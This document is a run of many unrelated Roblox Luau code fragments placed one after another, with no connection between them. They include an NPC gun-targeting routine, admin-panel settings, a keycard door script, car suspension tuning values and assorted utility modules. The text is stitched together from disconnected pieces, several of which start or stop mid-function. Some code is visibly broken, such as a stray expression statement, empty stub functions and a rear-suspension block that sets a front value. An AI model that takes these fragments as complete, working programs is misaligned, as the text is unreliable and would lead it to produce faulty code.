Enum.HumanoidStateType.Dead and not part then isAttackable = true end end return isAttackable end local function fireGun() -- Do damage to the target local targetHunanoid = target.Parent:FindFirstChild("Humanoid") targetHunanoid:TakeDamage(ATTACK_DAMAGE) -- Play the pistol firing animation maid.attackAnimation:Play() -- Play the pistol firing sound effect maid.gunFireSound:Play() -- Muzzle flash local firingPositionAttachment = maid.instance.Pistol.Handle.FiringPositionAttachment firingPositionAttachment.FireEffect:Emit(10) firingPositionAttachment.PointLight.Enabled = true wait(0.1) firingPositionAttachment.PointLight.Enabled = false end local function findTargets() -- Do a new search region if we are not already searching through an existing search region if not searchingForTargets and tick() - timeSearchEnded >= SEARCH_DELAY then searchingForTargets = true -- Create a new region local centerPosition = maid.humanoidRootPart.Position local topCornerPosition = centerPosition + Vector3.new(ATTACK_RADIUS, ATTACK_RADIUS, ATTACK_RADIUS) local bottomCornerPosition = centerPosition + Vector3.new(-ATTACK_RADIUS, -ATTACK_RADIUS, -ATTACK_RADIUS) searchRegion = Region3.new(bottomCornerPosition, topCornerPosition) searchParts = Workspace:FindPartsInRegion3(searchRegion, maid.instance, math.huge) newTarget = nil newTargetDistance = nil -- Reset to defaults searchIndex = 1 end if searchingForTargets then -- Search through our list of parts and find attackable humanoids local checkedParts = 0 while searchingForTargets and searchIndex <= #searchParts and checkedParts < MAX_PARTS_PER_HEARTBEAT do local currentPart = searchParts[searchIndex] if currentPart and isInstaceAttackable(currentPart) then local character = currentPart.Parent local distance = (character.HumanoidRootPart.Position - maid.humanoidRootPart.Position).magnitude -- Determine if the charater is the closest if not newTargetDistance or distance < newTargetDistance then newTarget = character.HumanoidRootPart newTargetDistance = distance end end searchIndex = searchIndex + 1 checkedParts = checkedParts + 1 end if searchIndex >= #searchParts then target = newTarget searchingForTargets = false timeSearchEnded = tick() end end end local function attack() attacking = true local originalWalkSpeed = maid.humanoid.WalkSpeed maid.humanoid.WalkSpeed = 16 maid.attackIdleAnimation:Play() local shotsFired = 0 while attacking and isInstaceAttackable(target) and isAlive() do fireGun() shotsFired = (shotsFired + 1) % CLIP_CAPACITY if shotsFired == CLIP_CAPACITY - 1 then maid.reloadAnimation:Play() wait(RELOAD_DELAY) else wait(ATTACK_DELAY) end end maid.humanoid.WalkSpeed = originalWalkSpeed maid.attackIdleAnimation:Stop() attacking = false end
-- The comments below explain what the code does, so that you can have a better understanding about exactly how it works.
plrs = game:GetService("Players") -- Get Players; this service allows us to know when a player joins the game and other player-related things ps = game:GetService("PhysicsService") -- Get PhysicsService; this service allows us to manage collision groups ps:RegisterCollisionGroup("plrs") -- Create collision group for players only ps:CollisionGroupSetCollidable("plrs","plrs",false) -- Make the group not collide with other parts in that same group (This is why we create a new, seperate collision group for players; if we did this with the normal collision group, the players would fall through the world!) plrs.PlayerAdded:Connect(function(plr) -- When a player joins, plr.CharacterAdded:Connect(function(chr) -- wait for their character to load. Once it does, for key,value in pairs(chr:GetDescendants()) do -- loop through the character's descendants/parts. if value:IsA("BasePart") then -- If a descendant is found to be eligable for collision groups (If this part of the character is a body part), value.CollisionGroup = "plrs" -- set its collision group to the players only group end end end) end)
--// Load Order List
local CORE_LOADING_ORDER = table.freeze({ --// Required by most modules "Variables", "Functions", --// Core functionality "Core", "Remote", "UI", "Process", --// Misc "Anti", })
--[[INSTRUCCIONES * Tiempo entre que toca SENSOR y PARADA: 20 segundos ]]
function onTouched(hit) campana.Playing = true ondear.Value = 0.1 chimenea1.Enabled = false chimenea2.Enabled = false ruedaderecha1.AngularVelocity = -2 ruedaderecha2.AngularVelocity = -2 wait(10) ondear.Value = 0.2 campana.TimePosition = 0 ruedaderecha1.AngularVelocity = -1 ruedaderecha2.AngularVelocity = -1 wait(10) ruedaderecha1.AngularVelocity = 0 ruedaderecha2.AngularVelocity = 0 ondear.Value = 50 campana.Playing = false wait(parada) --PARADA ondear.Value = 0.2 humoi.Enabled = true humod.Enabled = true chimenea1.Enabled = true chimenea2.Enabled = true ruedaderecha1.AngularVelocity = -0.5 ruedaderecha2.AngularVelocity = -0.5 wait(1) ondear.Value = 0.1 ruedaderecha1.AngularVelocity = -1 ruedaderecha2.AngularVelocity = -1 humoi.Enabled = false humod.Enabled = false wait(1) ondear.Value = 0.05 ruedaderecha1.AngularVelocity = -2 ruedaderecha2.AngularVelocity = -2 humoi.Enabled = true humod.Enabled = true wait(1) ruedaderecha1.AngularVelocity = -3 ruedaderecha2.AngularVelocity = -3 humoi.Enabled = false humod.Enabled = false end script.Parent.Touched:connect(onTouched)
-- / Configurations / --
local Configurations = GameAssets.Configurations local GameConfiguration = Configurations.GameConfiguration
-- Fire with blacklist
function FastCast:FireWithBlacklist(origin, directionWithMagnitude, velocity, blacklist, cosmeticBulletObject, ignoreWater, bulletAcceleration, bulletData, whizData, hitData, penetrationData) assert(getmetatable(self) == FastCast, ERR_NOT_INSTANCE:format("FireWithBlacklist", "FastCast.new()")) BaseFireMethod(self, origin, directionWithMagnitude, velocity, cosmeticBulletObject, nil, ignoreWater, bulletAcceleration, bulletData, whizData, hitData, blacklist, false, penetrationData) end TargetEvent:Connect(function(dt) for i, v in next, Projectiles, nil do if RemoveList[i] then RemoveList[i] = nil Projectiles[i] = nil else i.Update(dt) end end end)
-- SERVICES --
local CS = game:GetService("CollectionService") local RS = game:GetService("ReplicatedStorage") local Players = game:GetService("Players")
---
local Paint = false script.Parent.MouseButton1Click:connect(function() Paint = not Paint handler:FireServer("Beige",Paint) end)
--local BG = Missile.BodyGyro -------------------------------------------
while true do if Target.Value then if Target.Value.Parent then Missile.CFrame = CFrame.new(Missile.Position,Target.Value.Torso.Position) BV.velocity = Missile.CFrame.lookVector * 1500 else break end else break end wait() end
--// All global vars will be wiped/replaced except script --// All guis are autonamed client.Variables.CodeName..gui.Name
return function(data, env) if env then setfenv(1, env) end local gui = script.Parent.Parent local playergui = service.PlayerGui local str = data.Message local time = data.Time or 15 --client.UI.Make("HintHolder") local container = client.UI.Get("HintHolder",nil,true) if not container then local holder = service.New("ScreenGui") local hTable = client.UI.Register(holder) local frame = service.New("ScrollingFrame", holder) client.UI.Prepare(holder) hTable.Name = "HintHolder" frame.Name = "Frame" frame.BackgroundTransparency = 1 frame.Size = UDim2.new(1, 0, 0,150) frame.CanvasSize = UDim2.new(0, 0, 0, 0) frame.ChildAdded:Connect(function(c) if #frame:GetChildren() == 0 then frame.Visible = false else frame.Visible = true end end) frame.ChildRemoved:Connect(function(c) if #frame:GetChildren() == 0 then frame.Visible = false else frame.Visible = true end end) container = hTable hTable:Ready() end container = container.Object.Frame --// First things first account for notif :) local notif = client.UI.Get("Notif") local topbar = client.UI.Get("TopBar") container.Position = UDim2.new(0,0,0,((notif and 30) or 0) + ((topbar and 40) or 0) - 35) local children = container:children() gui.Position = UDim2.new(0,0,0,-100) gui.Frame.msg.Text = str local bounds = gui.Frame.msg.TextBounds.X spawn(function() local sound = Instance.new("Sound",service.LocalContainer()) sound.SoundId = "rbxassetid://255881176" sound.Volume = 0.25 wait(0.1) sound:Play() wait(0.8) sound:Destroy() end) local function moveGuis(m,ignore) m = m or 0 local max = #container:children() for i,v in pairs(container:children()) do if v~=ignore then local y = (i+m)*28 v.Position = UDim2.new(0,0,0,y) if i~=max then v.Size = UDim2.new(1,0,0,28) end end end end local lom = -1 moveGuis(-1) gui.Parent = container if #container:children()>5 then lom = -2 end UDim2.new(0,0,0,(#container:children()+lom)*28) moveGuis(-1) --gui:TweenPosition(UDim2.new(0,0,0,(#container:children()+lom)*28),nil,nil,0.3,true,function() if gui and gui.Parent then moveGuis(-1) end end) if #container:children()>5 then local gui = container:children()[1] moveGuis(-2,gui) gui:Destroy() --gui:TweenPosition(UDim2.new(0,0,0,-100),nil,nil,0.2,true,function() if gui and gui.Parent then gui:Destroy() end end) end wait(data.Time or 5) if gui and gui.Parent then moveGuis(-2,gui) gui:Destroy() --gui:TweenPosition(UDim2.new(0,0,0,-100),nil,nil,0.2,true,function() if gui and gui.Parent then gui:Destroy() end end) end end
--// Functions
function UpdateTag(plr) if plr ~= L_1_ and plr.Character and plr.Character:FindFirstChild("TeamTagUI") then local Tag = plr.Character:FindFirstChild("TeamTagUI") if plr.Team == L_1_.Team then Tag.Enabled = true if plr.Character:FindFirstChild("ACS_Client") and plr.Character.ACS_Client:FindFirstChild("FireTeam") and plr.Character.ACS_Client.FireTeam.SquadName.Value ~= "" then Tag.Frame.Icon.ImageColor3 = plr.Character.ACS_Client.FireTeam.SquadColor.Value else Tag.Frame.Icon.ImageColor3 = Color3.fromRGB(255,255,255) end else Tag.Enabled = false end end end
--// Use the below table to define "pre-set" command aliases --// Command aliases; Format: {[":alias <arg1> <arg2> ..."] = ":command <arg1> <arg2> ..."}
settings.Aliases = { [":examplealias <player> <fireColor>"] = ":ff <player> | :fling <player> | :fire <player> <fireColor>" --// Order arguments appear in alias string determines their required order in the command message when ran later }; settings.Banned = {} -- List of people banned from the game Format: {"Username"; "Username:UserId"; UserId; "Group:GroupId:GroupRank"; "Group:GroupId"; "Item:ItemID"; "GamePass:GamePassID";} settings.Muted = {} -- List of people muted (cannot send chat messages) Format: {"Username"; "Username:UserId"; UserId; "Group:GroupId:GroupRank"; "Group:GroupId"; "Item:ItemID"; "GamePass:GamePassID";} settings.Blacklist = {} -- List of people banned from running commands Format: {"Username"; "Username:UserId"; UserId; "Group:GroupId:GroupRank"; "Group:GroupId"; "Item:ItemID"; "GamePass:GamePassID";} settings.Whitelist = {} -- People who can join if whitelist enabled Format: {"Username"; "Username:UserId"; UserId; "Group:GroupId:GroupRank"; "Group:GroupId"; "Item:ItemID"; "GamePass:GamePassID";} settings.MusicList = {} -- List of songs to appear in the :musiclist Format: {{Name = "somesong", ID = 1234567}, {Name = "anotherone", ID = 1243562}} settings.CapeList = {} -- List of capes Format: {{Name = "somecape", Material = "Fabric", Color = "Bright yellow", ID = 12345567, Reflectance = 1}; {etc more stuff here}} settings.InsertList = {} -- List of models to appear in the :insertlist and can be inserted using ':insert <name>' Format: {{Name = "somemodel", ID = 1234567}; {Name = "anotherone", ID = 1243562}} settings.OnStartup = {} -- List of commands ran at server start Format: {":notif TestNotif"} settings.OnJoin = {} -- List of commands ran as player on join (ignores adminlevel) Format: {":cmds"} settings.OnSpawn = {} -- List off commands ran as player on spawn (ignores adminlevel) Format: {"!fire Really red",":ff me"} settings.SaveAdmins = true -- If true anyone you :admin or :headadmin in-game will save settings.LoadAdminsFromDS = true -- If false, any admins saved in your DataStores will not load settings.WhitelistEnabled = false -- If true enables the whitelist/server lock; Only lets admins & whitelisted users join settings.Prefix = ";" -- The : in :kill me settings.PlayerPrefix = "!" -- The ! in !donate; Mainly used for commands that any player can run; Do not make it the same as settings.Prefix settings.SpecialPrefix = "" -- Used for things like "all", "me" and "others" (If changed to ! you would do :kill !me) settings.SplitKey = " " -- The space in :kill me (eg if you change it to / :kill me would be :kill/me) settings.BatchKey = "|" -- :kill me | :ff bob | :explode scel settings.ConsoleKeyCode = "Quote" -- Keybind to open the console; Rebindable per player in userpanel; KeyCodes: https://developer.roblox.com/en-us/api-reference/enum/KeyCode
-- Container for temporary connections (disconnected automatically)
local Connections = {}; function CollisionTool.Equip() -- Enables the tool's equipped functionality -- Start up our interface ShowUI(); BindShortcutKeys(); end; function CollisionTool.Unequip() -- Disables the tool's equipped functionality -- Clear unnecessary resources HideUI(); ClearConnections(); end; function ClearConnections() -- Clears out temporary connections for ConnectionKey, Connection in pairs(Connections) do Connection:disconnect(); Connections[ConnectionKey] = nil; end; end; function ShowUI() -- Creates and reveals the UI -- Reveal UI if already created if UI then -- Reveal the UI UI.Visible = true; -- Update the UI every 0.1 seconds UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1); -- Skip UI creation return; end; -- Create the UI UI = Core.Tool.Interfaces.BTCollisionToolGUI:Clone(); UI.Parent = Core.UI; UI.Visible = true; -- References to UI elements local OnButton = UI.Status.On.Button; local OffButton = UI.Status.Off.Button; -- Enable the collision status switch OnButton.MouseButton1Click:connect(function () SetProperty('CanCollide', true); end); OffButton.MouseButton1Click:connect(function () SetProperty('CanCollide', false); end); -- Update the UI every 0.1 seconds UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1); end; function UpdateUI() -- Updates information on the UI -- Make sure the UI's on if not UI then return; end; -- Check the common collision status of selection local Collision = Support.IdentifyCommonProperty(Selection.Items, 'CanCollide'); -- Update the collision option switch if Collision == true then Core.ToggleSwitch('On', UI.Status); -- If the selection has collision disabled elseif Collision == false then Core.ToggleSwitch('Off', UI.Status); -- If the collision status varies, don't select a current switch elseif Collision == nil then Core.ToggleSwitch(nil, UI.Status); end; end; function HideUI() -- Hides the tool UI -- Make sure there's a UI if not UI then return; end; -- Hide the UI UI.Visible = false; -- Stop updating the UI UIUpdater:Stop(); end; function SetProperty(Property, Value) -- Make sure the given value is valid if Value == nil then return; end; -- Start a history record TrackChange(); -- Go through each part for _, Part in pairs(Selection.Items) do -- Store the state of the part before modification table.insert(HistoryRecord.Before, { Part = Part, [Property] = Part[Property] }); -- Create the change request for this part table.insert(HistoryRecord.After, { Part = Part, [Property] = Value }); end; -- Register the changes RegisterChange(); end; function BindShortcutKeys() -- Enables useful shortcut keys for this tool -- Track user input while this tool is equipped table.insert(Connections, UserInputService.InputBegan:connect(function (InputInfo, GameProcessedEvent) -- Make sure this is an intentional event if GameProcessedEvent then return; end; -- Make sure this input is a key press if InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then return; end; -- Make sure it wasn't pressed while typing if UserInputService:GetFocusedTextBox() then return; end; -- Check if the enter key was pressed if InputInfo.KeyCode == Enum.KeyCode.Return or InputInfo.KeyCode == Enum.KeyCode.KeypadEnter then -- Toggle the selection's collision status ToggleCollision(); end; end)); end; function ToggleCollision() -- Toggles the collision status of the selection -- Change the collision status to the opposite of the common collision status SetProperty('CanCollide', not Support.IdentifyCommonProperty(Selection.Items, 'CanCollide')); end; function TrackChange() -- Start the record HistoryRecord = { Before = {}; After = {}; Unapply = function (Record) -- Reverts this change -- Select the changed parts Selection.Replace(Support.GetListMembers(Record.Before, 'Part')); -- Send the change request Core.SyncAPI:Invoke('SyncCollision', Record.Before); end; Apply = function (Record) -- Applies this change -- Select the changed parts Selection.Replace(Support.GetListMembers(Record.After, 'Part')); -- Send the change request Core.SyncAPI:Invoke('SyncCollision', Record.After); end; }; end; function RegisterChange() -- Finishes creating the history record and registers it -- Make sure there's an in-progress history record if not HistoryRecord then return; end; -- Send the change to the server Core.SyncAPI:Invoke('SyncCollision', HistoryRecord.After); -- Register the record and clear the staging Core.History.Add(HistoryRecord); HistoryRecord = nil; end;
-- MEMBER and LEADER AFFECTORS
function TribeModule:ChangeMemberRole(playerName) end function TribeModule:TransferTribe(tribeName,playerName) end function TribeModule:AddMember(playerName) end function TribeModule:RemoveMember(tribeName,playerName) end function TribeModule:AddLeader(playerName) end function TribeModule:RemoveLeader(tribeName,playerName) end function TribeModule:RemoveLeader() end
--Quenty's qPerfectionWeld script remade into a module.
local NEVER_BREAK_JOINTS = false; local function CallOnChildren(Instance, FunctionToCall) FunctionToCall(Instance) for _, Child in next, Instance:GetChildren() do CallOnChildren(Child, FunctionToCall) end end local function GetNearestParent(Instance, ClassName) local Ancestor = Instance repeat Ancestor = Ancestor.Parent if Ancestor == nil then return nil end until Ancestor:IsA(ClassName) return Ancestor end local function GetBricks(StartInstance) local List = {} CallOnChildren(StartInstance, function(Item) if Item:IsA('BasePart') then List[#List+1] = Item; end end) return List end local function Modify(Instance, Values) assert(type(Values) == 'table', 'Values is not a table'); for Index, Value in next, Values do if type(Index) == 'number' then Value.Parent = Instance else Instance[Index] = Value end end return Instance end local function Make(ClassType, Properties) return Modify(Instance.new(ClassType), Properties) end local Surfaces = {'TopSurface','BottomSurface','LeftSurface','RightSurface','FrontSurface','BackSurface'}; local HingSurfaces = {'Hinge','Motor','SteppingMotor'}; local function HasWheelJoint(Part) for _, SurfaceName in pairs(Surfaces) do for _, HingSurfaceName in pairs(HingSurfaces) do if Part[SurfaceName].Name == HingSurfaceName then return true end end end return false end local function ShouldBreakJoints(Part) if NEVER_BREAK_JOINTS then return false end if HasWheelJoint(Part) then return false end local Connected = Part:GetConnectedParts() if #Connected == 1 then return false end for _, Item in pairs(Connected) do if HasWheelJoint(Item) then return false elseif not Item:IsDescendantOf(script.Parent) then return false end end return true end local function WeldTogether(Part0, Part1, JointType, WeldParent) JointType = JointType or 'Weld' local RelativeValue = Part1:FindFirstChild('qRelativeCFrameWeldValue') local NewWeld = Part1:FindFirstChild('qCFrameWeldThingy') or Instance.new(JointType) Modify(NewWeld, { Name = 'qCFrameWeldThingy'; Part0 = Part0; Part1 = Part1; C0 = CFrame.new(); C1 = RelativeValue and RelativeValue.Value or Part1.CFrame:toObjectSpace(Part0.CFrame); --Part1.CFrame:inverse() * Part0.CFrame;-- Part1.CFrame:inverse(); Parent = Part1; }) if not RelativeValue then RelativeValue = Make('CFrameValue', { Parent = Part1; Name = 'qRelativeCFrameWeldValue'; Archivable = true; Value = NewWeld.C1; }) end return NewWeld end local function WeldParts(Parts, MainPart, JointType, DoNotUnanchor) for _, Part in pairs(Parts) do if ShouldBreakJoints(Part) then Part:BreakJoints() end end for _, Part in pairs(Parts) do if Part ~= MainPart then WeldTogether(MainPart, Part, JointType, MainPart) end end if not DoNotUnanchor then for _, Part in pairs(Parts) do Part.Anchored = false end MainPart.Anchored = false; end end local _M = {} function _M.PerfectionWeld(Model) local Tool = GetNearestParent(script, 'Tool') local Parts = GetBricks(Model) local PrimaryPart = Tool and Tool:FindFirstChild('Handle') and Tool.Handle:IsA('BasePart') and Tool.Handle or Model:IsA('Model') and Model.PrimaryPart or Parts[1] if PrimaryPart then WeldParts(Parts, PrimaryPart, 'Weld', false) end return Tool end return _M
--[=[ Returns whether the service bag has fully started or not. @return boolean ]=]
function ServiceBag:IsStarted() return self._serviceTypesToStart == nil end
--[=[ Observes the translated value @param key string @param argData table? -- May have observables (or convertable to observables) in it. @return Observable<string> ]=]
function JSONTranslator:ObserveFormatByKey(key, argData) assert(self ~= JSONTranslator, "Construct a new version of this class to use it") assert(type(key) == "string", "Key must be a string") local argObservable if argData then local args = {} for argKey, value in pairs(argData) do args[argKey] = Blend.toPropertyObservable(value) or Rx.of(value) end argObservable = Rx.combineLatest(args) else argObservable = nil end return Observable.new(function(sub) local maid = Maid.new() maid:GivePromise(self._promiseTranslator:Then(function() if argObservable then maid:GiveTask(argObservable:Subscribe(function(args) sub:Fire(self:FormatByKey(key, args)) end)) else sub:Fire(self:FormatByKey(key, nil)) end end)) return maid end) end
-- Only works on ordinal. yada yada.
Table.insertAndGetIndexOf = function (tbl, value) tbl[#tbl + 1] = value return #tbl end
---- \/Cruise\/
model = script.Parent wait(0.5) currentP = "Off" script.Parent.Events.Cruise.OnServerEvent:Connect( function(player, pattern) if script.Parent.Values.Cruise.Value == true then script.Parent.Values.Cruise.Value = false else script.Parent.Values.Cruise.Value = true end end)
---------------------------------------------------------------
function onChildAdded(something) if something.Name == "SeatWeld" then local human = something.part1.Parent:findFirstChild("Humanoid") if (human ~= nil) then script.Parent.Parent.Parent.RWD.Anchored = false wait(.5) script.Parent.Parent.Parent.lightbar1.middle.Yelp:Stop() script.Parent.Parent.Parent.lightbar1.middle.Wail:Stop() script.Parent.Parent.Parent.lightbar1.middle.Manual:Stop() end end end function onChildRemoved(something) if (something.Name == "SeatWeld") then local human = something.part1.Parent:findFirstChild("Humanoid") if (human ~= nil) then print("Human Found") script.Parent.Parent.Parent.RWD.Anchored = true wait(.2) script.Parent.Parent.Parent.lightbar1.middle.Yelp:Stop() script.Parent.Parent.Parent.lightbar1.middle.Wail:Stop() script.Parent.Parent.Parent.lightbar1.middle.Manual:Stop() end end end script.Parent.ChildAdded:connect(onChildAdded) script.Parent.ChildRemoved:connect(onChildRemoved)
--[[ Ser is a serialization/deserialization utility module that is used by Knit to automatically serialize/deserialize values passing through remote functions and remote events. Ser.Classes = { [ClassName] = { Serialize = (value) -> serializedValue Deserialize = (value) => deserializedValue } } Ser.SerializeArgs(...) -> table Ser.SerializeArgsAndUnpack(...) -> Tuple Ser.DeserializeArgs(...) -> table Ser.DeserializeArgsAndUnpack(...) -> Tuple Ser.Serialize(value: any) -> any Ser.Deserialize(value: any) -> any Ser.UnpackArgs(args: table) -> Tuple --]]
type Args = { n: number, [any]: any, } local Option = require(script.Parent.Option) local Ser = {} Ser.Classes = { Option = { Serialize = function(opt) return opt:Serialize() end; Deserialize = Option.Deserialize; }; } function Ser.SerializeArgs(...: any): Args local args = table.pack(...) for i,arg in ipairs(args) do if type(arg) == "table" then local ser = Ser.Classes[arg.ClassName] if ser then args[i] = ser.Serialize(arg) end end end return args end function Ser.SerializeArgsAndUnpack(...: any): ...any local args = Ser.SerializeArgs(...) return table.unpack(args, 1, args.n) end function Ser.DeserializeArgs(...: any): Args local args = table.pack(...) for i,arg in ipairs(args) do if type(arg) == "table" then local ser = Ser.Classes[arg.ClassName] if ser then args[i] = ser.Deserialize(arg) end end end return args end function Ser.DeserializeArgsAndUnpack(...: any): ...any local args = Ser.DeserializeArgs(...) return table.unpack(args, 1, args.n) end function Ser.Serialize(value: any): any if type(value) == "table" then local ser = Ser.Classes[value.ClassName] if ser then value = ser.Serialize(value) end end return value end function Ser.Deserialize(value: any): any if type(value) == "table" then local ser = Ser.Classes[value.ClassName] if ser then value = ser.Deserialize(value) end end return value end function Ser.UnpackArgs(args: Args): ...any return table.unpack(args, 1, args.n) end return Ser
-- Connections -- Set initial level and progress
Level.Text = upgrades.Value ProgressBarContainer.Position = UDim2.fromScale(-1 + math.min(1, points.Value % GameSettings.upgradeCost(upgrades.Value) / 3), 0) ProgressBarFill.Position = UDim2.fromScale(1 - math.min(1, points.Value % GameSettings.upgradeCost(upgrades.Value) / 3), 0)
--remove any of the following parts that say "(parts[i].className == [className])" if you want to exclude that particular className type from the Weld
if ((parts[i].className == "Part") or (parts[i].className == "Seat") or (parts[i].className == "TrussPart") or (parts[i].className == "VehicleSeat") or (parts[i].className == "SkateboardPlatform")) then if (prev ~= nil) then local weld = Instance.new("Weld") weld.Part0 = prev weld.Part1 = parts[i] weld.C0 = prev.CFrame:inverse() weld.C1 = parts[i].CFrame:inverse() weld.Parent = prev parts[i].Anchored = false end prev = parts[i] end end wait(3)
-- Simulate camera shake (not great, but works well enough for this):
local function GetCameraShake() local dragAngle = Angle(seat.CFrame.lookVector, seat.Velocity) local speed = seat.Velocity.Magnitude local shakeMagnitude = (speed * 0.02) * dragAngle * 0.1 local theta = RAND() * TAU local x = COS(theta) * shakeMagnitude local y = SIN(theta) * shakeMagnitude -- ^ -- THE STARS ALIGN ^ DUN DUN DUN -- ^ return V3(x, y, 0) end local function GetCameraRotation() -- Relative rotational velocity: dampCam.Goal = -seat.CFrame:vectorToObjectSpace(seat.RotVelocity) * 0.1 local relRotVel = dampCam:Update() -- Camera shake offset: dampShake.Goal = GetCameraShake() local shake = CF(dampShake:Update()) -- User view rotation: local viewRotation = dampRot:Update() viewRotation = ANG(0, viewRotation.X, 0) * ANG(viewRotation.Y, 0, 0) return ANG(0, 0, mobileDeviceBank) * viewRotation * ANG(relRotVel.X, relRotVel.Y, relRotVel.Z) * shake end
--[[ Indent a potentially multi-line string with the given number of tabs, in addition to any indentation the string already has. ]]
local function indent(source, indentLevel) local indentString = ("\t"):rep(indentLevel) return indentString .. source:gsub("\n", "\n" .. indentString) end
-- Hook events
Entry.TextBox.FocusLost:Connect(function(submit) return Window:LoseFocus(submit) end) UserInputService.InputBegan:Connect(function(input, gameProcessed) return Window:BeginInput(input, gameProcessed) end) Entry.TextBox:GetPropertyChangedSignal("Text"):Connect(function() Gui.CanvasPosition = Vector2.new(0, Gui.AbsoluteCanvasSize.Y) if string.match(Entry.TextBox.Text, '\t') then -- Eat \t Entry.TextBox.Text = Entry.TextBox.Text:gsub("\t", "") return end if Window.OnTextChanged then return Window.OnTextChanged(Entry.TextBox.Text) end end) Gui.ChildAdded:Connect(function() task.defer(Window.UpdateWindowHeight) end) return Window
--[=[ Prepends the value onto the emitted brio @since 3.6.0 @param ... T @return (source: Observable<Brio<U>>) -> Observable<Brio<U | T>> ]=]
function RxBrioUtils.prepend(...) local args = table.pack(...) return Rx.map(function(brio) assert(Brio.isBrio(brio), "Bad brio") return BrioUtils.prepend(brio, table.unpack(args, 1, args.n)) end) end
--"False" = Not Acceptable Keycard To Open. "True" = Acceptable Keycard To Open.--
local bool = true local bool2 = true local clearance = { ["[SCP] Card-Omni"] = true, ["[SCP] Card-L5"] = false, ["[SCP] Card-L4"] = false, ["[SCP] Card-L3"] = false, ["[SCP] Card-L2"] = false, ["[SCP] Card-L1"] = false } --DO NOT EDIT BEYOND THIS LINE-- local LeftDoor = script.Parent local RightDoor = script.Parent.Parent.RightDoor local Open = false local OpenSound = script.Parent.DoorOpen local CloseSound = script.Parent.DoorClose local Debounce = false function openDoor() if not Debounce then Debounce = true if Open then Open = false CloseSound:Play() Spawn(function() for i = 1, 60 do LeftDoor.CFrame = LeftDoor.CFrame + (LeftDoor.CFrame.lookVector * 0.1) wait(0.05) end end) Spawn(function() for i = 1, 60 do RightDoor.CFrame = RightDoor.CFrame + (RightDoor.CFrame.lookVector * 0.1) wait(0.05) end end) else Open = true OpenSound:Play() Spawn(function() for i = 1, 60 do LeftDoor.CFrame = LeftDoor.CFrame - (LeftDoor.CFrame.lookVector * 0.1) wait(0.05) end end) Spawn(function() for i = 1, 60 do RightDoor.CFrame = RightDoor.CFrame - (RightDoor.CFrame.lookVector * 0.1) wait(0.05) end end) end wait(2.5) Debounce = false end end script.Parent.Parent.KeycardReader1.touched:connect(function(touch) if touch.Name == "Handle" and clearance[touch.Parent.Name] and bool then bool = false script.Parent.AccessGranted:play() wait(0.75) openDoor() wait(3) bool = true elseif touch.Name == "Handle" and not clearance[touch.Parent.Name] and bool2 then bool2 = false script.Parent.AccessDenied:play() wait(1) bool2 = true end end) script.Parent.Parent.KeycardReader2.touched:connect(function(touch) if touch.Name == "Handle" and clearance[touch.Parent.Name] and bool then bool = false script.Parent.AccessGranted:play() wait(0.75) openDoor() wait(3) bool = true elseif touch.Name == "Handle" and not clearance[touch.Parent.Name] and bool2 then bool2 = false script.Parent.AccessDenied:play() wait(1) bool2 = true end end)
-- Given diffs from expected and received strings, -- return new array of diffs split or joined into lines. -- -- To correctly align a change line at the end, the algorithm: -- * assumes that a newline was appended to the strings -- * omits the last newline from the output array -- -- Assume the function is not called: -- * if either expected or received is empty string -- * if neither expected nor received is multiline string
return function(diffs: Array<Diff>, changeColor: DiffOptionsColor): Array<Diff> local deleteBuffer = ChangeBuffer.new(DIFF_DELETE, changeColor) local insertBuffer = ChangeBuffer.new(DIFF_INSERT, changeColor) -- ROBLOX FIXME Luau: another issue with normalization: Property 'deleteBuffer' is not compatible local commonBuffer = CommonBuffer.new(deleteBuffer, insertBuffer) :: any for _, diff in ipairs(diffs) do local case = diff[1] if case == DIFF_DELETE then deleteBuffer:align(diff) elseif case == DIFF_INSERT then insertBuffer:align(diff) else commonBuffer:align(diff) end end return commonBuffer:getLines() end
--[[Susupension]]
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled --Front Suspension Tune.FSusDamping = 300 -- Spring Dampening Tune.FSusStiffness = 4000 -- Spring Force Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening) Tune.FSusLength = 2 -- Suspension length (in studs) Tune.FPreCompress = .7 -- Pre-compression adds resting length force Tune.FExtensionLim = .3 -- Max Extension Travel (in studs) Tune.FCompressLim = .1 -- Max Compression Travel (in studs) Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusDamping = 300 -- Spring Dampening Tune.RSusStiffness = 4000 -- Spring Force Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening) Tune.RSusLength = 2 -- Suspension length (in studs) Tune.RPreCompress = .7 -- Pre-compression adds resting length force Tune.RExtensionLim = .3 -- Max Extension Travel (in studs) Tune.RCompressLim = .1 -- Max Compression Travel (in studs) Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics Tune.SusVisible = true -- Spring Visible Tune.WsBVisible = false -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .1 -- Suspension Coil Thickness Tune.SusColor = "Bright red" -- Suspension Color [BrickColor] Tune.SusCoilCount = 6 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
--[=[ Wraps :UpdateAsync() in a promise @param robloxDataStore DataStore @param key string @param updateFunc (T) -> T? @return Promise<boolean> ]=]
